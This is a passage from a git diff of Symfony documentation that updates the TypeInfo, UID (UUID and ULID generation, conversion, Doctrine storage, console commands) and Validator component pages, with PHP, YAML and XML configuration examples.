or anything with a type:: + + use Symfony\Component\TypeInfo\Type; + use Symfony\Component\TypeInfo\TypeResolver\TypeResolver; + + class Dummy + { + public function __construct( + public int $id, + ) { + } + } + + // Instantiate a new resolver + $typeResolver = TypeResolver::create(); + + // Then resolve types for any subject + $typeResolver->resolve(new \ReflectionProperty(Dummy::class, 'id')); // returns an "int" Type instance + $typeResolver->resolve('bool'); // returns a "bool" Type instance + + // Types can be instantiated thanks to static factories + $type = Type::list(Type::nullable(Type::bool())); + + // Type instances have several helper methods + + // for collections, it returns the type of the item used as the key; + // in this example, the collection is a list, so it returns an "int" Type instance + $keyType = $type->getCollectionKeyType(); + + // you can chain the utility methods (e.g. to introspect the values of the collection) + // the following code will return true + $isValueNullable = $type->getCollectionValueType()->isNullable(); + +Each of these calls will return you a ``Type`` instance that corresponds to the +static method used. You can also resolve types from a string (as shown in the +``bool`` parameter of the previous example) + +PHPDoc Parsing +~~~~~~~~~~~~~~ + +In many cases, you may not have cleanly typed properties or may need more precise +type definitions provided by advanced PHPDoc. To achieve this, you can use a string +resolver based on the PHPDoc annotations. + +First, run the command ``composer require phpstan/phpdoc-parser`` to install the +PHP package required for string resolving. Then, follow these steps:: + + use Symfony\Component\TypeInfo\TypeResolver\TypeResolver; + + class Dummy + { + public function __construct( + public int $id, + /** @var string[] $tags */ + public array $tags, + ) { + } + } + + $typeResolver = TypeResolver::create(); + $typeResolver->resolve(new \ReflectionProperty(Dummy::class, 'id')); // returns an "int" Type + $typeResolver->resolve(new \ReflectionProperty(Dummy::class, 'tags')); // returns a collection with "int" as key and "string" as values Type + +Advanced Usages +~~~~~~~~~~~~~~~ + +The TypeInfo component provides various methods to manipulate and check types, +depending on your needs. + +**Identify** a type:: + + // define a simple integer type + $type = Type::int(); + // check if the type matches a specific identifier + $type->isIdentifiedBy(TypeIdentifier::INT); // true + $type->isIdentifiedBy(TypeIdentifier::STRING); // false + + // define a union type (equivalent to PHP's int|string) + $type = Type::union(Type::string(), Type::int()); + // now the second check is true because the union type contains the string type + $type->isIdentifiedBy(TypeIdentifier::INT); // true + $type->isIdentifiedBy(TypeIdentifier::STRING); // true + + class DummyParent {} + class Dummy extends DummyParent implements DummyInterface {} + + // define an object type + $type = Type::object(Dummy::class); + + // check if the type is an object or matches a specific class + $type->isIdentifiedBy(TypeIdentifier::OBJECT); // true + $type->isIdentifiedBy(Dummy::class); // true + // check if it inherits/implements something + $type->isIdentifiedBy(DummyParent::class); // true + $type->isIdentifiedBy(DummyInterface::class); // true + +Checking if a type **accepts a value**:: + + $type = Type::int(); + // check if the type accepts a given value + $type->accepts(123); // true + $type->accepts('z'); // false + + $type = Type::union(Type::string(), Type::int()); + // now the second check is true because the union type accepts either an int or a string value + $type->accepts(123); // true + $type->accepts('z'); // true + +.. versionadded:: 7.3 + + The :method:`Symfony\\Component\\TypeInfo\\Type::accepts` + method was introduced in Symfony 7.3. + +Using callables for **complex checks**:: + + class Foo + { + private int $integer; + private string $string; + private ?float $float; + } + + $reflClass = new \ReflectionClass(Foo::class); + + $resolver = TypeResolver::create(); + $integerType = $resolver->resolve($reflClass->getProperty('integer')); + $stringType = $resolver->resolve($reflClass->getProperty('string')); + $floatType = $resolver->resolve($reflClass->getProperty('float')); + + // define a callable to validate non-nullable number types + $isNonNullableNumber = function (Type $type): bool { + if ($type->isNullable()) { + return false; + } + + if ($type->isIdentifiedBy(TypeIdentifier::INT) || $type->isIdentifiedBy(TypeIdentifier::FLOAT)) { + return true; + } + + return false; + }; + + $integerType->isSatisfiedBy($isNonNullableNumber); // true + $stringType->isSatisfiedBy($isNonNullableNumber); // false + $floatType->isSatisfiedBy($isNonNullableNumber); // false diff --git a/components/uid.rst b/components/uid.rst index 287789ac368..b4083765436 100644 --- a/components/uid.rst +++ b/components/uid.rst @@ -1,18 +1,9 @@ -.. index:: - single: UID - single: Components; UID - The UID Component ================= The UID component provides utilities to work with `unique identifiers`_ (UIDs) such as UUIDs and ULIDs. -.. versionadded:: 5.1 - - The UID component was introduced in Symfony 5.1 as an - :doc:`experimental feature </contributing/code/experimental>`. - Installation ------------ @@ -22,6 +13,8 @@ Installation .. include:: /components/require_autoload.rst.inc +.. _uuid: + UUIDs ----- @@ -34,49 +27,257 @@ Generating UUIDs ~~~~~~~~~~~~~~~~ Use the named constructors of the ``Uuid`` class or any of the specific classes -to create each type of UUID:: +to create each type of UUID: + +**UUID v1** (time-based) + +Generates the UUID using a timestamp and the MAC address of your device +(`read the UUIDv1 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-1>`__). +Both are obtained automatically, so you don't have to pass any constructor argument:: + + use Symfony\Component\Uid\Uuid; + + $uuid = Uuid::v1(); + // $uuid is an instance of Symfony\Component\Uid\UuidV1 + +.. tip:: + + It's recommended to use UUIDv7 instead of UUIDv1 because it provides + better entropy. + +**UUID v2** (DCE security) + +Similar to UUIDv1 but with a very high likelihood of ID collision +(`read the UUIDv2 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-2>`__). +It's part of the authentication mechanism of DCE (Distributed Computing Environment) +and the UUID includes the POSIX UIDs (user/group ID) of the user who generated it. +This UUID variant is **not implemented** by the Uid component. + +**UUID v3** (name-based, MD5) + +Generates UUIDs from names that belong, and are unique within, some given namespace +(`read the UUIDv3 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-3>`__). +This variant is useful to generate deterministic UUIDs from arbitrary strings. +It works by populating the UUID contents with the``md5`` hash of concatenating +the namespace and the name:: use Symfony\Component\Uid\Uuid; - // UUID type 1 generates the UUID using the MAC address of your device and a timestamp. - // Both are obtained automatically, so you don't have to pass any constructor argument. - $uuid = Uuid::v1(); // $uuid is an instance of Symfony\Component\Uid\UuidV1 + // you can use any of the predefined namespaces... + $namespace = Uuid::fromString(Uuid::NAMESPACE_OID); + // ...or use a random namespace: + // $namespace = Uuid::v4(); + + // $name can be any arbitrary string + $uuid = Uuid::v3($namespace, $name); + // $uuid is an instance of Symfony\Component\Uid\UuidV3 + +These are the default namespaces defined by the standard: + +* ``Uuid::NAMESPACE_DNS`` if you are generating UUIDs for `DNS entries <https://en.wikipedia.org/wiki/Domain_Name_System>`__ +* ``Uuid::NAMESPACE_URL`` if you are generating UUIDs for `URLs <https://en.wikipedia.org/wiki/URL>`__ +* ``Uuid::NAMESPACE_OID`` if you are generating UUIDs for `OIDs (object identifiers) <https://en.wikipedia.org/wiki/Object_identifier>`__ +* ``Uuid::NAMESPACE_X500`` if you are generating UUIDs for `X500 DNs (distinguished names) <https://en.wikipedia.org/wiki/X.500>`__ + +**UUID v4** (random) + +Generates a random UUID (`read the UUIDv4 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-4>`__). +Because of its randomness, it ensures uniqueness across distributed systems +without the need for a central coordinating entity. It's privacy-friendly +because it doesn't contain any information about where and when it was generated:: + + use Symfony\Component\Uid\Uuid; + + $uuid = Uuid::v4(); + // $uuid is an instance of Symfony\Component\Uid\UuidV4 + +**UUID v5** (name-based, SHA-1) + +It's the same as UUIDv3 (explained above) but it uses ``sha1`` instead of +``md5`` to hash the given namespace and name (`read the UUIDv5 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-5>`__). +This makes it more secure and less prone to hash collisions. + +.. _uid-uuid-v6: + +**UUID v6** (reordered time-based) + +It rearranges the time-based fields of the UUIDv1 to make it lexicographically +sortable (like :ref:`ULIDs <ulid>`). It's more efficient for database indexing +(`read the UUIDv6 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-6>`__):: + + use Symfony\Component\Uid\Uuid; + + $uuid = Uuid::v6(); + // $uuid is an instance of Symfony\Component\Uid\UuidV6 + +.. tip:: + + It's recommended to use UUIDv7 instead of UUIDv6 because it provides + better entropy. - // UUID type 4 generates a random UUID, so you don't have to pass any constructor argument. - $uuid = Uuid::v4(); // $uuid is an instance of Symfony\Component\Uid\UuidV4 +.. _uid-uuid-v7: - // UUID type 3 and 5 generate a UUID hashing the given namespace and name. Type 3 uses - // MD5 hashes and Type 5 uses SHA-1. The namespace is another UUID (e.g. a Type 4 UUID) - // and the name is an arbitrary string (e.g. a product name; if it's unique). - $namespace = Uuid::v4(); - $name = $product->getUniqueName(); +**UUID v7** (UNIX timestamp) - $uuid = Uuid::v3($namespace, $name); // $uuid is an instance of Symfony\Component\Uid\UuidV3 - $uuid = Uuid::v5($namespace, $name); // $uuid is an instance of Symfony\Component\Uid\UuidV5 +Generates time-ordered UUIDs based on a high-resolution Unix Epoch timestamp +source (the number of milliseconds since midnight 1 Jan 1970 UTC, leap seconds excluded) +(`read the UUIDv7 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-7>`__). +It's recommended to use this version over UUIDv1 and UUIDv6 because it provides +better entropy (and a more strict chronological order of UUID generation):: - // UUID type 6 is not part of the UUID standard. It's lexicographically sortable - // (like ULIDs) and contains a 60-bit timestamp and 63 extra unique bits. - // It's defined in http://gh.peabody.io/uuidv6/ - $uuid = Uuid::v6(); // $uuid is an instance of Symfony\Component\Uid\UuidV6 + use Symfony\Component\Uid\Uuid; + + $uuid = Uuid::v7(); + // $uuid is an instance of Symfony\Component\Uid\UuidV7 -If your UUID is generated by another system, use the ``fromString()`` method to -create an object and make use of the utilities available for Symfony UUIDs:: +**UUID v8** (custom) - // this value is generated somewhere else (can also be in binary format) - $uuidValue = 'd9e7a184-5d5b-11ea-a62a-3499710062d0'; - $uuid = Uuid::fromString($uuidValue); +Provides an RFC-compatible format intended for experimental or vendor-specific use cases +(`read the UUIDv8 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-8>`__). +You must generate the UUID value yourself. The only requirement is to set the +variant and version bits of the UUID correctly. The rest of the UUID content is +implementation-specific, and no particular format should be assumed:: + + use Symfony\Component\Uid\Uuid; + + // pass your custom UUID value as the argument + $uuid = Uuid::v8('d9e7a184-5d5b-11ea-a62a-3499710062d0'); + // $uuid is an instance of Symfony\Component\Uid\UuidV8 + +If your UUID value is already generated in another format, use any of the +following methods to create a ``Uuid`` object from it:: + + // all the following examples would generate the same Uuid object + $uuid = Uuid::fromString('d9e7a184-5d5b-11ea-a62a-3499710062d0'); + $uuid = Uuid::fromBinary("\xd9\xe7\xa1\x84\x5d\x5b\x11\xea\xa6\x2a\x34\x99\x71\x00\x62\xd0"); + $uuid = Uuid::fromBase32('6SWYGR8QAV27NACAHMK5RG0RPG'); + $uuid = Uuid::fromBase58('TuetYWNHhmuSQ3xPoVLv9M'); + $uuid = Uuid::fromRfc4122('d9e7a184-5d5b-11ea-a62a-3499710062d0'); + +You can also use the ``UuidFactory`` to generate UUIDs. First, you may +configure the behavior of the factory using configuration files:: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/uid.yaml + framework: + uid: + default_uuid_version: 7 + name_based_uuid_version: 5 + name_based_uuid_namespace: 6ba7b810-9dad-11d1-80b4-00c04fd430c8 + time_based_uuid_version: 7 + time_based_uuid_node: 121212121212 + + .. code-block:: xml + + <!-- config/packages/uid.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:uid + default_uuid_version="7" + name_based_uuid_version="5" + name_based_uuid_namespace="6ba7b810-9dad-11d1-80b4-00c04fd430c8" + time_based_uuid_version="7" + time_based_uuid_node="121212121212" + /> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/uid.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + return static function (ContainerConfigurator $container): void { + $services = $container->services() + ->defaults() + ->autowire() + ->autoconfigure(); + + $container->extension('framework', [ + 'uid' => [ + 'default_uuid_version' => 7, + 'name_based_uuid_version' => 5, + 'name_based_uuid_namespace' => '6ba7b810-9dad-11d1-80b4-00c04fd430c8', + 'time_based_uuid_version' => 7, + 'time_based_uuid_node' => 121212121212, + ], + ]); + }; + +Then, you can inject the factory in your services and use it to generate UUIDs based +on the configuration you defined:: + + namespace App\Service; + + use Symfony\Component\Uid\Factory\UuidFactory; + + class FooService + { + public function __construct( + private UuidFactory $uuidFactory, + ) { + } + + public function generate(): void + { + // This creates a UUID of the version given in the configuration file (v7 by default) + $uuid = $this->uuidFactory->create(); + + $nameBasedUuid = $this->uuidFactory->nameBased(/** ... */); + $randomBasedUuid = $this->uuidFactory->randomBased(); + $timestampBased = $this->uuidFactory->timeBased(); + + // ... + } + } Converting UUIDs ~~~~~~~~~~~~~~~~ Use these methods to transform the UUID object into different bases:: - $uuid = new Uuid::fromString('d9e7a184-5d5b-11ea-a62a-3499710062d0'); + $uuid = Uuid::fromString('d9e7a184-5d5b-11ea-a62a-3499710062d0'); - $uuid->toBinary(); // string(16) "..." (binary contents can't be printed) + $uuid->toBinary(); // string(16) "\xd9\xe7\xa1\x84\x5d\x5b\x11\xea\xa6\x2a\x34\x99\x71\x00\x62\xd0" $uuid->toBase32(); // string(26) "6SWYGR8QAV27NACAHMK5RG0RPG" $uuid->toBase58(); // string(22) "TuetYWNHhmuSQ3xPoVLv9M" $uuid->toRfc4122(); // string(36) "d9e7a184-5d5b-11ea-a62a-3499710062d0" + $uuid->toHex(); // string(34) "0xd9e7a1845d5b11eaa62a3499710062d0" + $uuid->toString(); // string(36) "d9e7a184-5d5b-11ea-a62a-3499710062d0" + +.. versionadded:: 7.1 + + The ``toString()`` method was introduced in Symfony 7.1. + +You can also convert some UUID versions to others:: + + // convert V1 to V6 or V7 + $uuid = Uuid::v1(); + + $uuid->toV6(); // returns a Symfony\Component\Uid\UuidV6 instance + $uuid->toV7(); // returns a Symfony\Component\Uid\UuidV7 instance + + // convert V6 to V7 + $uuid = Uuid::v6(); + + $uuid->toV7(); // returns a Symfony\Component\Uid\UuidV7 instance + +.. versionadded:: 7.1 + + The :method:`Symfony\\Component\\Uid\\UuidV1::toV6`, + :method:`Symfony\\Component\\Uid\\UuidV1::toV7` and + :method:`Symfony\\Component\\Uid\\UuidV6::toV7` + methods were introduced in Symfony 7.1. Working with UUIDs ~~~~~~~~~~~~~~~~~~ @@ -97,9 +298,12 @@ UUID objects created with the ``Uuid`` class can use the following methods $uuid = Uuid::v4(); $uuid instanceof UuidV4; // true - // getting the UUID time (it's only available in certain UUID types) + // getting the UUID datetime (it's only available in certain UUID types) $uuid = Uuid::v1(); - $uuid->getTime(); // e.g. float(1584111384.2613) + $uuid->getDateTime(); // returns a \DateTimeImmutable instance + + // checking if a given value is valid as UUID + $isValid = Uuid::isValid($uuid); // true or false // comparing UUIDs and checking for equality $uuid1 = Uuid::v1(); @@ -112,61 +316,120 @@ UUID objects created with the ``Uuid`` class can use the following methods // * int < 0 if $uuid1 is less than $uuid4 $uuid1->compare($uuid4); // e.g. int(4) +If you're working with different UUIDs format and want to validate them, +you can use the ``$format`` parameter of the :method:`Symfony\\Component\\Uid\\Uuid::isValid` +method to specify the UUID format you're expecting:: + + use Symfony\Component\Uid\Uuid; + + $isValid = Uuid::isValid('90067ce4-f083-47d2-a0f4-c47359de0f97', Uuid::FORMAT_RFC_4122); // accept only RFC 4122 UUIDs + $isValid = Uuid::isValid('3aJ7CNpDMfXPZrCsn4Cgey', Uuid::FORMAT_BASE_32 | Uuid::FORMAT_BASE_58); // accept multiple formats + +The following constants are available: + +* ``Uuid::FORMAT_BINARY`` +* ``Uuid::FORMAT_BASE_32`` +* ``Uuid::FORMAT_BASE_58`` +* ``Uuid::FORMAT_RFC_4122`` +* ``Uuid::FORMAT_RFC_9562`` (equivalent to ``Uuid::FORMAT_RFC_4122``) + +You can also use the ``Uuid::FORMAT_ALL`` constant to accept any UUID format. +By default, only the RFC 4122 format is accepted. + +.. versionadded:: 7.2 + + The ``$format`` parameter of the :method:`Symfony\\Component\\Uid\\Uuid::isValid` + method and the related constants were introduced in Symfony 7.2. + Storing UUIDs in Databases ~~~~~~~~~~~~~~~~~~~~~~~~~~ -You can store UUID values as any other regular string/binary values in the database. -However, if you :doc:`use Doctrine </doctrine>`, it's more convenient to use the -special Doctrine types which convert to/from UUID objects automatically:: +If you :doc:`use Doctrine </doctrine>`, consider using the ``uuid`` Doctrine +type, which converts to/from UUID objects automatically:: // src/Entity/Product.php namespace App\Entity; use Doctrine\ORM\Mapping as ORM; + use Symfony\Bridge\Doctrine\Types\UuidType; + use Symfony\Component\Uid\Uuid; - /** - * @ORM\Entity(repositoryClass="App\Repository\ProductRepository") - */ + #[ORM\Entity(repositoryClass: ProductRepository::class)] class Product { - /** - * @ORM\Column(type="uuid") - */ - private $someProperty; - - /** - * @ORM\Column(type="uuid_binary") - */ - private $anotherProperty; + #[ORM\Column(type: UuidType::NAME)] + private Uuid $someProperty; // ... } -There's also a Doctrine generator to help autogenerate UUID values for the +There's also a Doctrine generator to help auto-generate UUID values for the entity primary keys:: - // there are generators for UUID V1 and V6 too - use Symfony\Bridge\Doctrine\IdGenerator\UuidV4Generator; + namespace App\Entity; - /** - * @ORM\Entity(repositoryClass="App\Repository\ProductRepository") - */ - class Product + use Doctrine\ORM\Mapping as ORM; + use Symfony\Bridge\Doctrine\IdGenerator\UuidGenerator; + use Symfony\Bridge\Doctrine\Types\UuidType; + use Symfony\Component\Uid\Uuid; + + class User implements UserInterface { - /** - * @ORM\Id - * @ORM\Column(type="uuid", unique=true) - * @ORM\GeneratedValue(strategy="CUSTOM") - * @ORM\CustomIdGenerator(class=UuidV4Generator::class) - */ - private $id; + #[ORM\Id] + #[ORM\Column(type: UuidType::NAME, unique: true)] + #[ORM\GeneratedValue(strategy: 'CUSTOM')] + #[ORM\CustomIdGenerator(class: UuidGenerator::class)] + private ?Uuid $id; + + public function getId(): ?Uuid + { + return $this->id; + } // ... } -.. versionadded:: 5.2 +.. warning:: - The UUID types and generators were introduced in Symfony 5.2. + Using UUIDs as primary keys is usually not recommended for performance reasons: + indexes are slower and take more space (because UUIDs in binary format take + 128 bits instead of 32/64 bits for auto-incremental integers) and the non-sequential + nature of UUIDs fragments indexes. :ref:`UUID v6 <uid-uuid-v6>` and :ref:`UUID v7 <uid-uuid-v7>` + are the only variants that solve the fragmentation issue (but the index size issue remains). + +When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine +knows how to convert these UUID types to build the SQL query +(e.g. ``->findOneBy(['user' => $user->getUuid()])``). However, when using DQL +queries or building the query yourself, you'll need to set ``uuid`` as the type +of the UUID parameters:: + + // src/Repository/ProductRepository.php + + // ... + use Doctrine\DBAL\ParameterType; + use Symfony\Bridge\Doctrine\Types\UuidType; + + class ProductRepository extends ServiceEntityRepository + { + // ... + + public function findUserProducts(User $user): array + { + $qb = $this->createQueryBuilder('p') + // ... + // add UuidType::NAME as the third argument to tell Doctrine that this is a UUID + ->setParameter('user', $user->getUuid(), UuidType::NAME) + + // alternatively, you can convert it to a value compatible with + // the type inferred by Doctrine + ->setParameter('user', $user->getUuid()->toBinary(), ParameterType::BINARY) + ; + + // ... + } + } + +.. _ulid: ULIDs ----- @@ -179,6 +442,13 @@ ULIDs are an alternative to UUIDs when using those is impractical. They provide 128-bit compatibility with UUID, they are lexicographically sortable and they are encoded as 26-character strings (vs 36-character UUIDs). +.. note:: + + If you generate more than one ULID during the same millisecond in the + same process then the random portion is incremented by one bit in order + to provide monotonicity for sorting. The random portion is not random + compared to the previous ULID in this case. + Generating ULIDs ~~~~~~~~~~~~~~~~ @@ -188,12 +458,43 @@ Instantiate the ``Ulid`` class to generate a random ULID value:: $ulid = new Ulid(); // e.g. 01AN4Z07BY79KA1307SR9X4MV3 -If your ULID is generated by another system, use the ``fromString()`` method to -create an object and make use of the utilities available for Symfony ULIDs:: +If your ULID value is already generated in another format, use any of the +following methods to create a ``Ulid`` object from it:: - // this value is generated somewhere else (can also be in binary format) - $ulidValue = '01E439TP9XJZ9RPFH3T1PYBCR8'; - $ulid = Ulid::fromString($ulidValue); + // all the following examples would generate the same Ulid object + $ulid = Ulid::fromString('01E439TP9XJZ9RPFH3T1PYBCR8'); + $ulid = Ulid::fromBinary("\x01\x71\x06\x9d\x59\x3d\x97\xd3\x8b\x3e\x23\xd0\x6d\xe5\xb3\x08"); + $ulid = Ulid::fromBase32('01E439TP9XJZ9RPFH3T1PYBCR8'); + $ulid = Ulid::fromBase58('1BKocMc5BnrVcuq2ti4Eqm'); + $ulid = Ulid::fromRfc4122('0171069d-593d-97d3-8b3e-23d06de5b308'); + +Like UUIDs, ULIDs have their own factory, ``UlidFactory``, that can be used to generate them:: + + namespace App\Service; + + use Symfony\Component\Uid\Factory\UlidFactory; + + class FooService + { + public function __construct( + private UlidFactory $ulidFactory, + ) { + } + + public function generate(): void + { + $ulid = $this->ulidFactory->create(); + + // ... + } + } + +There's also a special ``NilUlid`` class to represent ULID ``null`` values:: + + use Symfony\Component\Uid\NilUlid; + + $ulid = new NilUlid(); + // equivalent to $ulid = new Ulid('00000000000000000000000000'); Converting ULIDs ~~~~~~~~~~~~~~~~ @@ -202,10 +503,11 @@ Use these methods to transform the ULID object into different bases:: $ulid = Ulid::fromString('01E439TP9XJZ9RPFH3T1PYBCR8'); - $ulid->toBinary(); // string(16) "..." (binary contents can't be printed) + $ulid->toBinary(); // string(16) "\x01\x71\x06\x9d\x59\x3d\x97\xd3\x8b\x3e\x23\xd0\x6d\xe5\xb3\x08" $ulid->toBase32(); // string(26) "01E439TP9XJZ9RPFH3T1PYBCR8" $ulid->toBase58(); // string(22) "1BKocMc5BnrVcuq2ti4Eqm" $ulid->toRfc4122(); // string(36) "0171069d-593d-97d3-8b3e-23d06de5b308" + $ulid->toHex(); // string(34) "0x0171069d593d97d38b3e23d06de5b308" Working with ULIDs ~~~~~~~~~~~~~~~~~~ @@ -220,8 +522,8 @@ ULID objects created with the ``Ulid`` class can use the following methods:: // checking if a given value is valid as ULID $isValid = Ulid::isValid($ulidValue); // true or false - // getting the ULID time - $ulid1->getTime(); // e.g. float(1584111384.2613) + // getting the ULID datetime + $ulid1->getDateTime(); // returns a \DateTimeImmutable instance // comparing ULIDs and checking for equality $ulid1->equals($ulid2); // false @@ -231,57 +533,194 @@ ULID objects created with the ``Ulid`` class can use the following methods:: Storing ULIDs in Databases ~~~~~~~~~~~~~~~~~~~~~~~~~~ -You can store ULID values as any other regular string/binary values in the database. -However, if you :doc:`use Doctrine </doctrine>`, it's more convenient to use the -special Doctrine types which convert to/from ULID objects automatically:: +If you :doc:`use Doctrine </doctrine>`, consider using the ``ulid`` Doctrine +type, which converts to/from ULID objects automatically:: // src/Entity/Product.php namespace App\Entity; use Doctrine\ORM\Mapping as ORM; + use Symfony\Bridge\Doctrine\Types\UlidType; + use Symfony\Component\Uid\Ulid; - /** - * @ORM\Entity(repositoryClass="App\Repository\ProductRepository") - */ + #[ORM\Entity(repositoryClass: ProductRepository::class)] class Product { - /** - * @ORM\Column(type="ulid") - */ - private $someProperty; - - /** - * @ORM\Column(type="ulid_binary") - */ - private $anotherProperty; + #[ORM\Column(type: UlidType::NAME)] + private Ulid $someProperty; // ... } -There's also a Doctrine generator to help autogenerate ULID values for the +There's also a Doctrine generator to help auto-generate ULID values for the entity primary keys:: + namespace App\Entity; + + use Doctrine\ORM\Mapping as ORM; use Symfony\Bridge\Doctrine\IdGenerator\UlidGenerator; + use Symfony\Bridge\Doctrine\Types\UlidType; + use Symfony\Component\Uid\Ulid; - /** - * @ORM\Entity(repositoryClass="App\Repository\ProductRepository") - */ class Product { - /** - * @ORM\Id - * @ORM\Column(type="uuid", unique=true) - * @ORM\GeneratedValue(strategy="CUSTOM") - * @ORM\CustomIdGenerator(class=UlidGenerator::class) - */ - private $id; + #[ORM\Id] + #[ORM\Column(type: UlidType::NAME, unique: true)] + #[ORM\GeneratedValue(strategy: 'CUSTOM')] + #[ORM\CustomIdGenerator(class: UlidGenerator::class)] + private ?Ulid $id; + + public function getId(): ?Ulid + { + return $this->id; + } // ... } -.. versionadded:: 5.2 +.. warning:: + + Using ULIDs as primary keys is usually not recommended for performance reasons. + Although ULIDs don't suffer from index fragmentation issues (because the values + are sequential), their indexes are slower and take more space (because ULIDs + in binary format take 128 bits instead of 32/64 bits for auto-incremental integers). + +When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine +knows how to convert these ULID types to build the SQL query +(e.g. ``->findOneBy(['user' => $user->getUlid()])``). However, when using DQL +queries or building the query yourself, you'll need to set ``ulid`` as the type +of the ULID parameters:: + + // src/Repository/ProductRepository.php + + // ... + use Symfony\Bridge\Doctrine\Types\UlidType; + + class ProductRepository extends ServiceEntityRepository + { + // ... + + public function findUserProducts(User $user): array + { + $qb = $this->createQueryBuilder('p') + // ... + // add UlidType::NAME as the third argument to tell Doctrine that this is a ULID + ->setParameter('user', $user->getUlid(), UlidType::NAME) + + // alternatively, you can convert it to a value compatible with + // the type inferred by Doctrine + ->setParameter('user', $user->getUlid()->toBinary()) + ; + + // ... + } + } + +Generating and Inspecting UUIDs/ULIDs in the Console +---------------------------------------------------- + +This component provides several commands to generate and inspect UUIDs/ULIDs in +the console. They are not enabled by default, so you must add the following +configuration in your application before using these commands: + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + Symfony\Component\Uid\Command\GenerateUlidCommand: ~ + Symfony\Component\Uid\Command\GenerateUuidCommand: ~ + Symfony\Component\Uid\Command\InspectUlidCommand: ~ + Symfony\Component\Uid\Command\InspectUuidCommand: ~ + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <!-- ... --> + + <service id="Symfony\Component\Uid\Command\GenerateUlidCommand"/> + <service id="Symfony\Component\Uid\Command\GenerateUuidCommand"/> + <service id="Symfony\Component\Uid\Command\InspectUlidCommand"/> + <service id="Symfony\Component\Uid\Command\InspectUuidCommand"/> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use Symfony\Component\Uid\Command\GenerateUlidCommand; + use Symfony\Component\Uid\Command\GenerateUuidCommand; + use Symfony\Component\Uid\Command\InspectUlidCommand; + use Symfony\Component\Uid\Command\InspectUuidCommand; + + return static function (ContainerConfigurator $container): void { + // ... + + $services + ->set(GenerateUlidCommand::class) + ->set(GenerateUuidCommand::class) + ->set(InspectUlidCommand::class) + ->set(InspectUuidCommand::class); + }; + +Now you can generate UUIDs/ULIDs as follows (add the ``--help`` option to the +commands to learn about all their options): + +.. code-block:: terminal + + # generate 1 random-based UUID + $ php bin/console uuid:generate --random-based + + # generate 1 time-based UUID with a specific node + $ php bin/console uuid:generate --time-based=now --node=fb3502dc-137e-4849-8886-ac90d07f64a7 + + # generate 2 UUIDs and output them in base58 format + $ php bin/console uuid:generate --count=2 --format=base58 + + # generate 1 ULID with the current time as the timestamp + $ php bin/console ulid:generate + + # generate 1 ULID with a specific timestamp + $ php bin/console ulid:generate --time="2021-02-02 14:00:00" + + # generate 2 ULIDs and output them in RFC4122 format + $ php bin/console ulid:generate --count=2 --format=rfc4122 + +In addition to generating new UIDs, you can also inspect them with the following +commands to show all the information for a given UID: + +.. code-block:: terminal - The ULID types and generator were introduced in Symfony 5.2. + $ php bin/console uuid:inspect d0a3a023-f515-4fe0-915c-575e63693998 + ---------------------- -------------------------------------- + Label Value + ---------------------- -------------------------------------- + Version 4 + Canonical (RFC 4122) d0a3a023-f515-4fe0-915c-575e63693998 + Base 58 SmHvuofV4GCF7QW543rDD9 + Base 32 6GMEG27X8N9ZG92Q2QBSHPJECR + ---------------------- -------------------------------------- + + $ php bin/console ulid:inspect 01F2TTCSYK1PDRH73Z41BN1C4X + --------------------- -------------------------------------- + Label Value + --------------------- -------------------------------------- + Canonical (Base 32) 01F2TTCSYK1PDRH73Z41BN1C4X + Base 58 1BYGm16jS4kX3VYCysKKq6 + RFC 4122 0178b5a6-67d3-0d9b-889c-7f205750b09d + --------------------- -------------------------------------- + Timestamp 2021-04-09 08:01:24.947 + --------------------- -------------------------------------- .. _`unique identifiers`: https://en.wikipedia.org/wiki/UID .. _`UUIDs`: https://en.wikipedia.org/wiki/Universally_unique_identifier diff --git a/components/using_components.rst b/components/using_components.rst index 31a0f24d1be..f975be7e1b2 100644 --- a/components/using_components.rst +++ b/components/using_components.rst @@ -1,7 +1,3 @@ -.. index:: - single: Components; Installation - single: Components; Usage - .. _how-to-install-and-use-the-symfony2-components: How to Install and Use the Symfony Components diff --git a/components/validator.rst b/components/validator.rst index a88b13d0089..12c61507257 100644 --- a/components/validator.rst +++ b/components/validator.rst @@ -1,7 +1,3 @@ -.. index:: - single: Validator - single: Components; Validator - The Validator Component ======================= @@ -40,7 +36,7 @@ characters long:: $validator = Validation::createValidator(); $violations = $validator->validate('Bernhard', [ - new Length(['min' => 10]), + new Length(min: 10), new NotBlank(), ]); @@ -57,7 +53,7 @@ If you have lots of validation errors, you can filter them by error code:: use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity; - $violations = $validator->validate(...); + $violations = $validator->validate(/* ... */); if (0 !== count($violations->findByCodes(UniqueEntity::NOT_UNIQUE_ERROR))) { // handle this 